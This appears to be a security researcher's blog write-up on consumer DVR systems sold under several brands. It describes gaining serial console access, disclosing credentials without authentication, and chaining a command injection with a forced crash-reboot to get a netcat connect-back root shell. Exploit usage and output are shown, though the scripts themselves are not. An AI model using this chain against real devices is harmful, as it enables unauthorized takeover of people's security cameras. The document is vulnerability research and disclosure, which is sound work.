I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) – Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are – DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on 🙂
After opening the device up something grabbed my attention right away….
The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port 🙂
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable “bootdcmd”.
python getPass.py 192.168.10.69
Port 9000 is run by a binary named ‘raysharpdvr’. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the “system” call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
“sprintf” with user input into a “system”, that’ll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use “ppp” – this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction (“udhcpc”) – this will cause the device to use dhcp to get its network information bypassing the previous “ppp” config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says ‘reboot’, but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the “raysharpdvr” application is running and if it does not see it, it initiates a system reboot – very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us….luckily the device ships with netcat built into busybox, -e flag and all 🙂
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash….
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.